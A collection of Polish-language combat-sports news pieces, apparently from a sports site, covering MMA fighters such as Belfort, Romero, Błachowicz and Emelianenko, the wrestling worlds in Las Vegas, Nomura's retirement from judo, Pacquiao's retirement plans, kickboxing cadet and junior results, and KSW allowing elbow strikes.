Brazylijski zawodnik MMA urodzony 1 kwietnia 1977 roku w Rio de Janeiro. W zawodowym MMA zadebiutował w 1996 roku.  31 stycznia 2004 roku zdobył mistrzostwo UFC  w wadze półciężkiej, pokonując przez TKO dotychczasowego mistrza Randy’ego Couture’a, pas stracił niecałe osiem miesięcy później, gdy podczas UFC 49 przegrał w rewanżu z Couture’em. W lipcu 2008 roku na gali Affliction: Banned pokonał przez KO Terry’ego Martina. Pół roku później walczył na gali Affliction: Day of Reckoning z Mattem Lindlandem, którego znokautował już w pierwszej rundzie. Po rozwiązaniu Affliction powrócił do UFC, gdzie w sierpniu 2009 roku zmierzył się z byłym mistrzem tej organizacji  w wadze średniej, Richem Franklinem. Vitor pokonał go w pierwszej rundzie przez KO. Dzięki wygranym nad Martinem, Lindlandem i Franklinem otrzymał szanse walki o pas z mistrzem UFC wagi średniej Andersonem Silvą. Była ona początkowo zaplanowana na UFC 108, potem przełożona na UFC 112 i po raz kolejny odwołana ponieważ Belfort doznał podczas treningu kontuzji barku, która wymagała operacji.  Ostatecznie termin pojedynku został ustalony na 5 lutego 2011. Belfort przegrał przez nokaut w pierwszej rundzie. 6 sierpnia 2011 roku znokautował Japończyka Yoshihiro Akiyamę ciosami w parterze. Kolejne zwycięstwo zanotował na gali w Brazylii, gdy na UFC 142 pokonał Anthony’ego Johnsona przez poddanie.  Kolejna jego walka planowana była na 29 czerwca 2012 roku w Brazylii przeciwko Wanderleiowi Silvie. Miał to być ich drugi pojedynek. Pierwszy odbył się w 1998 roku na UFC 17. Zwyciężył wtedy Belfort nokautując Silvę w 44 sekundy. Do walki jednak nie doszło z powodu złamania ręki Belforta na treningu.  Na UFC 152 Jon Jones przyjął ofertę walki, którą zaproponował mu Belfort. Ostatecznie Brazylijczyk przegrał przez poddanie  w czwartej rundzie. Po przegranej walce o tytuł postanowił wrócić do kategorii niżej czyli do -84 kg. Pierwszym rywalem w wadze średniej został Brytyjczyk Michael Bisping dla którego zwycięstwo nad Belfortem było by przepustką do walki o tytuł z Andersonem Silvą. Walkę zaplanowano na styczeń 2013 roku w Brazylii. Do walki doszło 19 stycznia 2013 roku, w drugiej rundzie Belfort wysokim kopnięciem powalił rywala i walkę skończył ciosami w parterze. 18 maja 2013 roku zmierzył się z Lukiem Rockholdem, którego znokautował w pierwszej rundzie. 9 listopada 2013 roku Belfort pokonał na gali UFC Fight Night 32 Dana Hendersona przez nokaut w pierwszej rundzie. 23 maja 2015 roku doszło do starcie między Belfortem a Chrisem Weidmanem.  Belfort przegrał to starcie przez TKO w pierwszej rundzie. 7 listopada 2015 roku Belfort znokautował w pierwszej rundzie Dana Hendersona.

Yoel Romero

Kubański zapaśnik stylu wolnego oraz zawodnik MMA urodzony 30 kwietnia 1977 roku w Pinar del Rio. Na przełomie XX i XXI wieku był czołowym zapaśnikiem świata w wadze półciężkiej.  Pierwszy znaczący sukces na arenie międzynarodowej odniósł w 1998 roku zajmując trzecie miejsce na Mistrzostwach Świata stylu wolnego w Teheranie. Rok później w Ankarze zdobył tytuł Mistrza Świata. W 2000 roku na Igrzyskach Olimpijskich w Sydney zdobył srebrny medal. W następnych latach był dwukrotnym wicemistrzem Świata (2002, 2005) i mistrzem igrzysk panamerykańskich (2003). W swoim drugim występie na Olimpiadzie zajął czwarte miejsce. Pięciokrotnie wygrywał mistrzostwa panamerykańskie.  Zdobył złoty medal na Igrzyskach Ameryki Środkowej i Karaibów w 1998 roku. Puchar Świata zdobywał trzykrotnie w 1998, 2000 i 2005 roku. W 2007 roku podczas zawodów w Lipsku, Romero zbiegł ze zgrupowania kadry i nie powrócił na Kubę.  W grudniu 2009 roku zadebiutował w MMA. W ciągu półtora roku wygrał cztery walki z rzędu przed czasem. W lipcu 2011 roku podpisał kontrakt ze Strikeforce. Zadebiutował w niej 9 września, gdy podczas gali zmierzył się z byłym mistrzem Strikeforce w wadze półciężkiej, Brazylijczykiem Rafaelem Cavalcante. Kubańczyk przegrał  przez nokaut w drugiej rundzie. Mimo porażki podpisał kontrakt z UFC. Debiut w UFC wypadł 20 kwietnia 2013 roku gdzie znokautował Clifforda Starksa. 27 września 2014 roku pokonał przez TKO Tima Kennediego, a 27 czerwca 2015 roku znokautował Lyoto Machide. 12 grudnia 2015 roku na gali UFC 194 Yoel Romero pokonał niejednogłośną decyzją Ronaldo Souze. 

Epizod Błachowicza

Z wyjazdem Jana Błachowicza do USA wiązano duże nadzieje. 32-letni fighter wypromował się na polskim rynku mieszanych sztuk walki.

Jak się okazuje UFC to na obecną chwilę dla Błachowicza za wysokie progi. Dlaczego? Można mnożyć domysły i szukać wielu odpowiedzi.

O co chodzi?

Błachowicz jest w UFC niecały rok. Pierwszą walkę dla amerykańskiej organizacji stoczył 4 października 2014 roku. Do tej pory ma na swoim koncie trzy występy w UFC, z których dwa zakończyły się jego klęską.

Klęska to nie jest przesada. O ile porażkę z Jimim Manuwą w Krakowie można było uznać za tzw. wypadek przy pracy, to Corey Anderson całkowicie i bezdyskusyjnie zdominował Polaka. Podczas gali UFC 191 Błachowicz nie przypominał zawodnika imponującego podczas gali KSW, a nawet podczas pierwszego występu w Ameryce w rywalizacji z Illirem Lafitim. W pierwszej rundzie starcia z Andersonem Polak nawiązywał walkę, choć to jego rywal wyglądał na pewnego siebie i zdeterminowanego. 25-letni Amerykanin przechwytywał kopnięcia fightera Ankosu, a sam skutecznie atakował. Dramat Błachowicza rozpoczął się w drugiej rundzie. Polak wyglądał tak jakby z każdą minutą ubywało mu paliwa w baku. Kondycja naszego fightera pozostawiała wiele do życzenia, a Anderson robił swoje. Amerykanin przechwycił kopnięcie Błachowicza i sprowadził rywalizację do parteru. Wtedy 25-latek miał już wszystko w swoich rękach. Anderson doskonale wiedział jak wykorzystać sytuację, którą sobie wypracował. W trzeciej rundzie Amerykanin ponownie sprowadził walkę do parteru. Jego przewaga ani przez chwilę nie budziła wątpliwości.

Błachowicz przegrał drugą walkę w UFC i po raz kolejny wytrwał trzy rundy, jednak nie pokazał swoich umiejętności. W 2015 roku Polak jeszcze nie wygrał.

Koniec przygody?

To pytanie w przeciągu ostatnich godzin powtarzane jest jak mantra. Początkowo w Las Vegas Błachowicz miał walczyć z numerem jeden wagi półciężkiej Anthony'm Johnsonem. W takiej dyspozycji, którą zaprezentował w starciu z Andersonem byłoby mu bardzo ciężko cokolwiek ugrać.

Pierwszym problemem Błachowicza pozostaje kondycja. Po raz kolejny brakowało mu tchu i nie potrafił szybko przemieszczać się, wykorzystując teren klatki. Warto zwrócić uwagę, że liczba ciosów zadawana przez Błachowicza jest znikoma. Rywal ma czuć respekt i mieć świadomość, iż musi być uważny, aby nie odnieść straty. Błachowicz jakby żałował swoim oponentom ciosów. Był po prostu zbyt zachowawczy.

Warto tak naprawdę zastanowić się, czy kwestią problemową nie jest ciężar z jakim spotkał się Polak. Błachowicz trafił do UFC, gdzie wymagania stawiane są wysoko i wszystko jest zupełnie inne. Przepych, rozgłos, ciągła presja. Być może Błachowicz sobie z tym nie poradził. Kibice w Polsce pokładali w nim nadzieję, jednak zawodnik nie sprostał ich wymaganiom. W KSW czuł się dobrze, pewnie i był gwiazdą.

Przez siedem lat kariery Błachowicz poniósł trzy porażki. W ciągu ostatniego roku przegrał dwie walki. Z tym, że UFC to inny poziom. Pytanie o dalsze losy Polaka w amerykańskiej organizacji jest zasadne. Skoro miał być rywalem Johnsona to niewykluczone, że włodarze UFC cenią sobie jego umiejętności, jednak Błachowicz zaprzepaścił kolejną szansę. Pewne jest, że powinien się odbudować, a najprostszą metodą jest zwycięstwo i powrót na właściwe tory. Tyle, że w UFC Polak spada. Zaczął fenomenalnie, ale jest coraz gorzej. Może dla dobra własnej kariery Jan Błachowicz powinien wrócić do Polski. Wszystko w jego rękach.

KM

Zapasy przyćmią hazard?

Las Vegas słynie z hazardu. To miasto, które kojarzy się z fortunami, ogromnym zaludnieniem i wszelakim przepychem. Na sześć dni Las Vegas stanie się areną zmagań zapaśników podczas mistrzostw świata.

Podczas czempionatu zaprezentuje się szesnastu zawodników z Polski. Rok temu tytuł wicemistrzyni świata wywalczyła Iwona Matkowska w kategorii 48kg.

Zaczną klasycy

Zgodnie z kanonem na początek zaprezentują się zapaśnicy w stylu klasycznym. 7 września do rywalizacji przystąpią zawodnicy w kategoriach wagowych 66, 75 i 98kg. Z polskich zapaśników do startu muszą być w pełni przygotowani Mateusz Bernatek, Mateusz Wolny i Radosław Grzybicki. Spośród wymienionej trójki w 2014 roku podczas mistrzostw świata w Taszkiencie startował tylko reprezentant AKS-u Piotrków Trybunalski. Grzybicki zajął wówczas szesnaste miejsce.

Drugiego dnia rywalizacji o najwyższe laury powalczą zapaśnicy w następujących kategoriach wagowych: 59, 71, 80 i 130kg. Wystąpi tylko jeden reprezentant Polski. W kategorii 59kg swoich sił spróbuje Michał Tracz. Kolejnego dnia rywalizacji przyjdzie czas na klasyków w 85kg. Polskę będzie reprezentował brązowy medalista Igrzysk Olimpijskich w Londynie Damian Janikowski. Zapaśnik Śląska Wrocław rok temu w Taszkiencie był dopiero siedemnasty. Na podium mistrzostw świata Janikowski stał tylko raz. W 2011 roku w Stambule sięgnął po srebrny medal.

Panie na start

Trzeciego dnia zawodnicy w stylu klasycznym zakończą udział w mistrzostwach świata, a rozpoczną go panie. Tutaj możemy śmiało myśleć o medalach.

Na początek do rywalizacji staną zapaśniczki w kategoriach 48, 53 i 69kg. O mistrzostwo świata powalczy Iwona Matkowska. Rok temu w Taszkiencie zawodniczka Grunwaldu Poznań wywalczyła srebrny medal w kategorii 48kg. W obecnym sezonie prezentuje równą formę i jest w stanie powtórzyć, a nawet poprawić ten wynik. Katarzyna Krawczyk wystąpi w kategorii 53kg. W Taszkiencie do medalu zabrakło jej niewiele – była piąta. W kategorii 69kg zaprezentuje się doświadczona Agnieszka Wieszczek-Kordus.

Czwartego dnia rywalizacji będziemy obserwować zmagania wśród pań w kategoriach wagowych 55, 58, 63 i 75kg. W pierwszej z nich zaprezentuje się Anna Zwirydowska. Nasza zapaśniczka nasza zapaśniczka zaprezentowała się w wyższej kategorii wagowej (58kg). Została sklasyfikowana na dwudziestej pierwszej lokacie. Dobrą dyspozycją imponuje Roksana Zasina, która wystąpi w 58kg. Rok temu walczyła w 53kg i była dwudziesta. Tym razem Monika Michalik będzie chciała stanąć na podium w 63kg. W Taszkiencie była piąta. Daria Osocka w Las Vegas zaprezentuje się w 75.

Wolny koniec

Osiem kategorii wagowych w stylu wolnym, jednak Polaków wystąpi tylko czterech. Krystian Brzozowski w kategorii 74kg w Taszkiencie był dziewiąty. Teraz liczy, że uda mu się zbliżyć do podium. Radosław Baran zajął piętnaste miejsce w 97kg na poprzednim czempionacie.

W kategorii 86kg w Las Vegas wystąpi Radosław Marcinkiewicz, który podczas Igrzysk Europejskich w Baku zdobył brązowy medal. Nadzieje na podium mistrzostw świata ma Magomedmurad Gadzhiev. Zapaśnik AKS-u Białogard w kategorii 70kg robi ustawiczne postępy. W Baku zdobył srebro. Do Las Vegas pojechał jako jedna z naszych medalowych nadziei.

KM

Wielki mistrz wróci?

Świat MMA ożył, gdy pojawiła się ta informacja. Fiodor Jemieljanienko zamierza wrócić do rywalizacji.

Rosjanin uznawany jest za jednego z najlepszych zawodników w historii MMA. Ostatnią walkę stoczył w czerwcu 2012 roku.

Mocny jak stal

Dla wielu Jemieljanienko to ikona i twarz MMA. Jego pojedynki zawsze elektryzowały, a przede wszystkim obfitowały w liczne i efektowne wymiany. Rosjanin był niczym buldożer, który miażdżył kolejnych rywali.

Swoją karierę Rosjanin rozpoczął w 2000 roku. Cały świat usłyszał o nim podczas występów w Pride, która była liderem rynku na początku XXI wieku. Podczas występów w japońskiej organizacji Jemieljanienko nie zanotował ani jednej porażki. Przez wiele lat był niepokonany i jednoznacznie określono go królem wagi ciężkiej. W swojej karierze odniósł trzydzieści cztery zwycięstwa przy czterech porażkach. Fatalne były dla niego lata 2010-2011. Wtedy Rosjanin przegrał trzy kolejne walki. Pod banderą organizacji Strikeforce Jemieljanienko musiał uznać wyższość Fabricio Werduma, Antonio Silvy i Dana Hendersona.

Po tych doświadczeniach stoczył jeszcze trzy pojedynki. Wszystkie wygrał, ale podjął decyzję o zakończeniu kariery. Warto odnotować, że Jemieljanienko aż dwadzieścia trzy walki zakończył już w pierwszej rundzie. Tim Sylvia spędził z Rosjaninem na placu boju zaledwie trzydzieści sześć sekund. Rywal musiał odklepać, gdyż był bezradny wobec duszenia zastosowanego przez Jemieljanienkę. Warto zauważyć, że jest pewna walka, do której 38-latek z pewnością nie chce wracać. W grudniu 2000 roku podczas gali Rings – King of Kings 2000 Block B Rosjanin zmierzył się z Tsuyoshim Kosaką. Walka trwała zaledwie siedemnaście sekund i zakończyła się porażką Jemieljanienki. Po pięciu latach, już w PRIDE, Rosjanin wziął rewanż na swoim pogromcy.

Powrót

Wszyscy są ciekawi, czy 38-latek udźwignie ciężar rywalizacji po powrocie. Według combatpress.com Jemieljanienko wróci na ring. Sam fighter mówił, że nosi się z zamiarem wznowienia kariery. Ponoć Rosjanin związał się umową z najlepszą obecnie organizacją mieszanych sztuk walki na świecie – UFC.

Jemieljanienko miałby się zaprezentować podczas gali UFC 193 w Melbourne. Chęć walki z Rosjaninem wyraził Mark Hunt. Obaj panowie doskonale się znają, gdyż spotkali się już i wtedy lepszy okazał się Jemieljanienko. Rosjanin obronił mistrzowski pas pokonując swojego oponenta w pierwszej rundzie. Co prawda Hunt w Melbourne ma rywalizować z Antonio Silvą, ale plany mogą ulec zmianie.

Czy Jemieljanienko wróci w wielkim stylu? Ta kwestia już zastanawia wielu i z pewnością wszyscy będą oczekiwali jego pojedynku. Rosjanin to uznana marka, ale podejmuje ryzyko. Gdy przegra mit jego wielkości może runąć. Także musi być przygotowany w stu procentach, aby oczarować widownię, która będzie chciała zobaczyć go w akcji.

Fot. sherdog.com

KM

Nomura zakończył bogatą karierę

Japoński judoka podjął decyzję o definitywnym rozstaniu z judo. Kariera Tadahiro Nomury obfitowała w dużą liczbę sukcesów.

Być mistrzem olimpijskim to marzenie każdego sportowca. Nomura zrealizował ten cel, jednak ostatnie lata jego kariery obfitowały liczne zawirowania.

Wielki mistrz

Trzeba stwierdzić jednoznacznie, że Tadahiro Nomura to wielki mistrz judo. Ikona i zawodnik, który sięgnął szczytu. W żaden sposób nie podlega to dyskusji. Często mamy tendencję do deprecjonowania kogoś, kto osiągnął sukces, jednak z czasem jego występy były coraz słabsze. Warto pamiętać, że to po prostu kwestia wieku i formy sportowej.

Japończyk rywalizował w kategorii wagowej 60kg. Pierwszy wielki sukces osiągnął podczas Igrzysk Olimpijskich w Atlancie, kiedy to sięgnął po złoty medal. Miał wtedy dwadzieścia dwa lata. W finale Nomura okazał się lepszy od Włocha Girolamo Giovinazzo. Również Paweł Nastula miło wspomina start w Atlancie, gdzie sięgnął po złoto. Rok później Nomura odniósł kolejny sukces, gdyż został mistrzem świata. Tytuł wywalczył w Paryżu.

Okazuje się, że Japończyk jest specjalistą od Igrzysk Olimpijskich. W Sydney Nomura również stanął na najwyższym stopniu podium, a w finale okazał się lepszy od Koreańczyka Jung Bu-Kyunga. Gdyby tego było mało, na tym 40-letni dziś Japończyk nie poprzestał. Cztery lata później w Atenach po raz kolejny udowodnił swój kunszt. W finale kategorii 60kg Nomura pokonał Gruzina Nestora Chergianiego i przeszedł do historii. Japończyk był pierwszym judoką w historii, który trzy raz z rzędu wywalczył tytuł mistrza olimpijskiego. W swoim bogatym dorobku Nomura ma również brązowy medal mistrzostw świata z Osaki z 2003 roku.

Nieudane powroty

Po starcie w Atenach wielki mistrz postanowił odpocząć od judo, ale jak pokazuje życie trudno wytrzymać bez materii, w której odnosi się sukcesy. W 2006 roku Nomura podjął decyzję, że będzie walczył o czwarty złoty medal Igrzysk Olimpijskich. Japończykowi nie udało się wywalczyć kwalifikacji do Pekinu. W walce ostatniej szansy poległ z Daisuke Asano. Na fali emocji podjął decyzję o zakończeniu kariery, jednak i tym razem nie wytrzymał. Powrócił po raz kolejny.

Już nie był tak efektowny i nie odnosił spektakularnych sukcesów. Kwestią problemową okazały się kontuzje. Nomura przeszedł operację kolana, aby poprawić swoją sprawność i móc nawiązać rywalizację z najlepszymi. Nie udało się wrócić na szczyt, choć i tak nikt mu nie zabierze tego, co osiągnął. Nomura jest i pozostanie ikoną judo. 40-latek podjął decyzję o zakończeniu kariery sportowej. Jako główne powody podawał kontuzje oraz konieczność przyjmowania z tego powodu zbyt dużej ilości leków przeciwbólowych. Ostatni wielki sukces odniósł w wieku trzydziestu lat. Na zawsze wpisał się w historię judo.

KM

Pacquiao myśli o emeryturze?

Zaskoczenie? Zapewne tak. Wydawało się, że Manny Pacquiao po wyleczeniu kontuzji wróci na ring i będzie kontynuował karierę.

Okazuje się, że Filipińczyk myśli o zakończeniu bokserskiej przygody. O planach pięściarza poinformował jego promotor Bob Arum.

Kto pierwszy?

Konieczne jest głębsze zastanowienie się nad planami Pacquiao. Z jednej strony nie jest aż tak wiekowy, aby żegnać się z ringiem. Filipińczyk ma trzydzieści sześć lat i z powodzeniem mógłby jeszcze boksować. Obecnie Pacquiao dochodzi do pełnej sprawności po kontuzji barku.

W maju „Pacman” współtworzył wielkie widowisko, które zostało określone jako walka XXI wieku. Pacquiao stanął w ringu naprzeciw Floyda Mayweathera Jr. Świat czekał na ten pojedynek, którego wartość była kolosalna, a zainteresowanie medialne jeszcze większe. Lepszy okazał się „Money”. Po konfrontacji „Pacman” tłumaczył się, że powodem porażki były kłopoty zdrowotne. Wspomniana kontuzja barku miała wpływać na jego formę w ringu. Przed walką Filipińczyk przyjmował leki przeciwbólowe, ale na wszystkie te tłumaczenia Mayweather reagował śmiechem.

Po co do tego wracać? Warto. Po pojedynku okazało się, że „Money” myśli o zakończeniu kariery. 12 września Amerykanin stoczy pojedynek z Andre Berto, który będzie czterdziestym dziewiątym starciem w jego karierze. Jeśli wygra będzie niepokonany na zawodowym ringu. Wiele znaków wskazuje na to, że będzie to ostatni występ w karierze „Money”. Później zajmie się innymi rzeczami i poświęci swój czas rodzinie. Mija trochę czasu. W podobnym tonie wypowiada się promotor Pacquiao. Wygląda to trochę jak rywalizacja – kto będzie pierwszy? Czemu to ma służyć – nie wiadomo.

Co będzie robił?

To pytanie kluczowe. Czy Pacquiao znudziło się bycie pięściarzem? Filipińczyk ma za sobą bogatą karierę, w której zdobywał pasy mistrzowskie w aż sześciu kategoriach wagowych.

Zespół „Perfect” śpiewał, że „trzeba wiedzieć, kiedy ze sceny zejść”. Czy równocześnie ring opuści dwóch wielkich pięściarzy? Prawdopodobnie w przyszłym roku rękawice na bok odłoży Pacquiao. – Manny zaprezentuje się jeszcze w przyszłym roku, ale jego głównym celem będzie mandat senatora na Filipinach. Wybory do parlamentu odbędą się w przyszłym roku, a potem przyjdzie czas na wybory prezydenckie. Możliwe, że Pacquiao zakończy karierę w przyszłym roku w przypadku dostania się do senatu – wyjaśnia Bob Arum, prezes grupy Top Rank.

Zatem Filipińczyk stawia na karierę polityczną. Tyle, że autorem słów o przyszłości boksera jest jego promotor, więc można w tym wypadku węszyć chęć zwrócenia uwagi na klienta. Być może teraz posypią się oferty chętnych do walki z Pacquiao, a to pociągnie zainteresowanie telewizji i wpłynie lepiej na promocję pojedynku. Czy to możliwe? Taki scenariusz wcale nie jest wykluczony.

KM

Podsumowanie Kadry Kadetów i Juniorów w formule Kick-Light po Mistrzostwach Europy w Hiszpanii

Mistrzostwa Europy Kadetów i Juniorów San Sebastian Hiszpania WAKO 2015

Podsumowanie Kadry Kadetów i Juniorów w Formule KICK-LIGHT.

O mistrzostwo starego kontynentu z kadry kadetów w wersji kick-light brało udział dwunastu zawodników, którzy zdobyli w sumie 6 medali: 3 złote, 1 srebrny i 2 brązowe!

 

 

 

 

Tytuły mistrzów Europy zdobyli:

Piotr Stępień w kat wag do -42 kg (3 wygrane walki)

Weronika Nowak w kat wag do -60 kg (2 wygrane walki)

Klara Piętak w kat wag do -65 kg (1 wygrana walka)

 

Vice mistrzynią Europy została:

Paulina Turulska w kat wag do -42 kg (1 wygrana walka i 1 porażka w finale)

 

Brązowe medale mistrzostw Europy zdobyli:

Przemysław Kalisz w kat wag do -57 kg (1 wygrana walka i 1 porażka w półfinale)

Sebastian Samiła w kat wag do -63 kg (1 wygrana walka i 1 porażka w półfinale werdykt kontrowersyjny)

 

Poza podium uplasowali się:

Hubert Łaniewski w kat wag do -57 kg (1 wygrana walka)

Mikołaj Mańka w kat wag do -47 kg (bez wygranej walki)

Grzegorz Błotnicki w kat wag do -52 kg (bez wygranej walki)

Zuzanna Licha w kat wag do -55 kg (bez wygranej walki)

Konrad Łaniewski w kat wag do -63 kg (bez wygranej walki)

Kacper Dąbrowski w kat wag do +69 kg (bez wygranej walki)

 

Z kadry juniorskiej w mistrzostwach Europy w wersji kick-light brało udział jedenastu zawodników, którzy zdobyli 8 medali: 1 złoty, 2 srebrne i 5 brązowych!

 

Tytuł mistrza Europy zdobył:

Michał Adamek w kat wag do -89 kg (2 wygrane walki)

 

Vice mistrzami Europy zostali:

Miłosz Fluder w kat wag do -69 kg (1 wygrana walka i 1 porażka w finale)

Patryk Rosiak w kat wag do -89 kg (1 przegrana walka w finale)

 

Brązowe medale mistrzostw Europy zdobyli:

Patrycja Pietrzakowska w kat wag do +70 kg (1 przegrana walka w półfinale)

Marta Lipka w kat wag do +70 kg (1 przegrana walka w półfinale)

Kinga Mikołajczuk w kat wag do -50 kg (1 wygrana walka i 1 porażka w półfinale werdykt kontrowersyjny)

Kamil Połosak w kat wag do -84 kg (1wygrana walka i 1 porażka w półfinale)

Dominik Dybowski w kat wag do -84 kg (1wygrana walka i 1 porażka w półfinale)

 

Poza podium uplasowali się:

Damian Borowiec w kat wag do -63 kg (bez wygranej walki)

Mikołaj Sadowy w kat wag do -74 kg (bez wygranej walki)

Mateusz Pietrucha w kat wag do -57 kg (bez wygranej walki)

 

Trener: Rafał Mazurowski

Asystent trenera: Piotr Nasulewicz

Źródło: materiały prasowe

Pogorzelec idzie w górę

Daria Pogorzelec podczas mistrzostw świata w Astanie w judo zaliczyła najlepszy spośród wszystkich naszych zawodników startujących indywidualnie. Niestety, nie udało się jej zdobyć medalu. Mimo to dobre występy przełożyły się na pozycję w światowym rankingu.

Judoczka Wybrzeża Gdańsk szła jak burza, jednak na ostatniej prostej nie dopisało jej szczęście. Niesmak po piątym miejscu zawodniczka poprawiła sobie w starcie drużynowym.

Dobry występ

Tak naprawdę szczęście było blisko. Pogorzelec bardzo dobrze radziła sobie w kategorii 78kg podczas mistrzostw świata. Polka pokonywała kolejne przeszkody i potwierdziła, że jest w dobrej dyspozycji. Już w poprzednim sezonie Pogorzelec prezentowała wysoką formę. Najlepiej o tym świadczą jej dokonania. Polska judoczka okazała się najlepsza w zawodach Pucharu Świata w Tallinie oraz podczas turnieju Grand Prix w Taszkiencie. Z kolei w tym sezonie Pogorzelec wywalczyła trzecie miejsce w zawodach w Pradze. Start w Igrzyskach Europejskich judoczka z Gdańska zakończyła na 1/8 finału, co było wynikiem poniżej oczekiwań.

Na mistrzostwa świata Pogorzelec jechała jako jedno z najmocniejszych nazwisk w polskiej kadrze. Zawodniczka potwierdziła pokładane w niej nadzieje i zaliczyła najlepszy występ spośród naszych reprezentantów, jednak do medalu trochę zabrakło. Pierwsze potknięcie przytrafiło się naszej judoczce w półfinale, gdzie uległa Mami Umeki. Japonka wywalczyła tytuł mistrzyni świata. W walce o brąz Pogorzelec spotkała się z Marhinde Verkerk, z którą przegrała jedną karą shido. Polka z dobrej strony pokazała się w drużynie, z którą sięgnęła po srebrny medal. Polki rozgromiły Algierki i Rosjanki, stoczyły zacięty bój z Niemkami, ale poległy na Japonkach.

Dobre występy Pogorzelec mają odzwierciedlenie w światowym rankingu. Polka mająca w dorobku 1087 punktów awansowała na dwunaste miejsce, wcześniej była dwie lokaty niżej. Na czele jest Kayla Harrison. Warto również uwzględnić listę olimpijską, która jest wykładnią tego, kto w przyszłym roku zaprezentuje się na igrzyskach w Rio de Janeiro. Pogorzelec zajmuje jedenaste miejsce. Na igrzyska pojedzie czternaście najlepszych zawodniczek z każdej kategorii wagowej.

Jak inni?

Nadal wysoko w światowych rankingach jest Katarzyna Kłys w kategorii 70kg, która w ubiegłym roku sięgnęła po brązowy medal mistrzostw świata. W tym sezonie szuka formy i lepsze występy przeplata słabszymi. Mimo to Kłys jest na dobrej drodze, aby pojechać do Rio de Janeiro. Na liście olimpijskiej zajmuje dwunaste miejsce. Z kolei w rankingu Międzynarodowej Federacji Judo sklasyfikowana została na czternastej pozycji.

Nieco inaczej sytuacji wygląda u mężczyzn. Na Igrzyska Olimpijskie pojedzie dwudziestu dwóch najlepszych zawodników z każdej kategorii wagowej. Obecnie wyjazdu pewny może być Maciej Sarnacki w kategorii +100kg. Polak zajmuje czternastą pozycję.

KM

Do Las Vegas po sukces

Las Vegas to miasto dobrobytu i przepychu. Pojawiają się tam najmożniejsi świata, a we wrześniu zjawią się zapaśnicy. Las Vegas będzie gospodarzem mistrzostw świata w zapasach.

Przede wszystkim liczymy na dobre występy naszych zawodniczek, które w kolejnych występach potwierdzają swoją dobrą formę i dają nadzieję na medal. Do startu w mistrzostwach świata przygotowywały się intensywnie.

Koniec zgrupowania

Ciężkie treningi, które wymagały od naszych zapaśniczek wytrzymałości i poświęcenia. Trener kadry Krzysztof Ołenczyn chce jak najlepiej przygotować swoje zawodniczki do startu w Las Vegas. Bo gra jest warta świeczki. Mistrzostwa świata to okazja do zyskania chwały i odniesienia sukcesu, ale to też coś więcej. Tegoroczny czempionat daje możliwość wywalczenia kwalifikacji olimpijskiej.

Dlatego przez ponad dwa tygodnie we Władysławowie nasza kadra wylewała kolejne krople potu na sali treningowej. Wszystko po to, aby przygotować się jak najlepiej do startu w Las Vegas. Priorytetem było doskonalenie techniki. To był ostatni akord przed mistrzostwami. Nasze zapaśniczki już na miejscu przystosują się do klimatu i będą mentalnie przygotowywały się do swoich występów. Start rywalizacji 9 września.

Po medale?

Nie ulega wątpliwości, że zdobycie medalu to plan minimum. Obecnie polskie zapaśniczki mają potencjał, który powinny przekłuć w sukces.

Ważne są dwa czynniki. Po pierwsze, jak zawsze wiele zależy od losowania. Jeśli szczęście dopisze i drabinka dobrze ułoży się to szansa na sukces zwiększa się, ale historia zna różne przypadki. Druga kwestia to zmiana strefy czasowej. Nasza kadra poleciała do Las Vegas kilka dni wcześniej, aby zapoznać się z warunkami i co najważniejsze – przestawić się. To niezwykle istotne, gdyż wbrew pozorom taka zmiana ma ogromny wpływ na dyspozycję.

W Las Vegas istnieje szansa uzyskania kwalifikacji na Igrzyska Olimpijskie w Rio de Janeiro. Rzecz jasna to niejedyna taka możliwość, ale im wcześniej, tym lepiej. W znakomitej dyspozycji jest Iwona Matkowska w kategorii 48kg, która prezentuje w tym sezonie równą formą. Warto zaznaczyć, że zapaśniczka reprezentująca WKS Grunwald Poznań jest wicemistrzynią świata, więc w Las Vegas może zaatakować najwyższy stopień podium. Z dobrej strony podczas Igrzysk Europejskich w Baku pokazała się Roksana Zasina w 58kg, która zdobyła brązowy medal. Wiele należy obiecywać sobie po starcie Katarzyny Krawczyk. W tym roku zapaśniczka startująca w kategorii wagowej 53kg zwyciężyła w turnieju Poland Open. Stabilna jest Monika Michalik w 63kg, a doświadczenie po swojej stronie ma Agnieszka Wieszczek-Kordus w 69kg.

W naszej kadrze nie brakuje zapaśniczek, które znają smak sukcesów. Ważne, aby potrafiły to przełożyć na start w Las Vegas.

KM

Łokcie pojawią się w KSW

Idą zmiany w polskiej organizacji. KSW chce wprowadzić możliwość uderzania łokciami podczas walk. Zmiany planowane są już od najbliższej gali, która odbędzie się na stadionie Wembley w Londynie.

O takim kroku organizacji KSW poinformował jej współwłaściciel Maciej Kawulski podczas magazyny „Puncher” emitowanego na antenie telewizji Polsat. Dla wielu jest to rewolucyjne rozwiązanie.

Jak to będzie?

Z pewnością ten krok podniesie dyskusję na temat zasadności wprowadzenia uderzeń łokciami. Rzecz jasna, że takie ciosy dozwolone są w największej i najpopularniejszej organizacji mieszanych sztuk walki na świecie, czyli w UFC.

Na pewno decyzja włodarzy KSW wpłynie na widowiskowość oraz atrakcyjność pojedynków. Wymusi to zmiany w postawie samych fighterów. Zawodnicy będą mieli do dyspozycji większy repertuar ciosów, co z pewnością sprawi, że zmniejszy się liczba klinczów. Ponadto, fighterzy będą musieli praktycznie cały czas być aktywni. W tym przypadku nie będzie ani chwili na odpoczynek. Zarówno w stójce, jak i w parterze trzeba będzie się wykazać czujnością oraz szybkością.

Stąd walki mogą być prowadzone na dystans, aby uniknąć niebezpiecznego ciosu. Wielu zawodników będzie chciało wykorzystać nową broń, która może okazać się niezwykle skuteczna. Tym samym zyska widowisko. Pojedynki powinny być szybsze i obfitować w efektywniejsze ciosy.

Z drugiej strony pojawiają się krytycy tej decyzji, którzy twierdzą, że uderzenie łokciami są niezwykle brutalne i narażają zdrowie zawodników. Wzrośnie też rola sędziów, którzy będą musieli z większą uwagą obserwować przebieg walki, aby reagować w odpowiednim momencie.

Pierwszy raz

Z pewnością nie ma lepszego miejsca na przetestowanie nowej propozycji niż gala na Wembley. Federacja KSW po raz pierwszy opuszcza Polskę i chce promować swój produkt na świecie. Działanie jest nastawione na rozwój, który pozwoli zwiększyć atrakcyjność produktu.

Zarazem KSW zwiększa możliwości zawodników. Widzowie po raz pierwszy zobaczą dynamiczne i pełne wymian walki, które są im doskonale znane z UFC. Nie będzie miejsca na schematyczność. Jak to będzie wyglądało w polskiej wersji? Po gali w Londynie będą możliwe pierwsze oceny i wyciągniecie wniosków, czy to zmiana na lepsze.

